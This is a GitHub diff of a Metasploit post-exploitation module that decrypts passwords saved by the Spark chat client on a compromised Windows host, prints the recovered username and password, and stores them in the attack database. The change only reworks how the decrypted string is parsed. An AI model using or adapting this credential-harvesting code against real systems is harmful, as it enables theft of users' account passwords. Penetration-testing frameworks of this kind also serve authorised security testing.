File tree Expand file tree Collapse file tree 1 file changed +6
-6
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Original file line number Diff line number Diff line change @@ -54,21 +54,21 @@ def decrypt(hash)
54
54
55
55
password = ::Rex ::Text . to_utf8 ( password )
56
56
57
- credentials = password . split ( " \u0001 " )
58
- print_good ( "Decrypted Username #{ credentials [ 0 ] } Password: #{ credentials [ 1 ] } " )
57
+ user , pass = password . scan ( /[[:print:]]+/ )
58
+ print_good ( "Decrypted Username #{ user } Password: #{ pass } " )
59
59
60
- store_creds ( credentials )
60
+ store_creds ( user , pass )
61
61
end
62
62
63
- def store_creds ( credentials )
63
+ def store_creds ( user , pass )
64
64
if db
65
65
report_auth_info (
66
66
:host => client . sock . peerhost ,
67
67
:port => 5222 ,
68
68
:ptype => 'password' ,
69
69
:sname => 'spark' ,
70
- :user => credentials [ 0 ] ,
71
- :pass => credentials [ 1 ] ,
70
+ :user => user ,
71
+ :pass => pass ,
72
72
:duplicate_ok => true ,
73
73
:active => true
74
74
)
You can’t perform that action at this time.
0 commit comments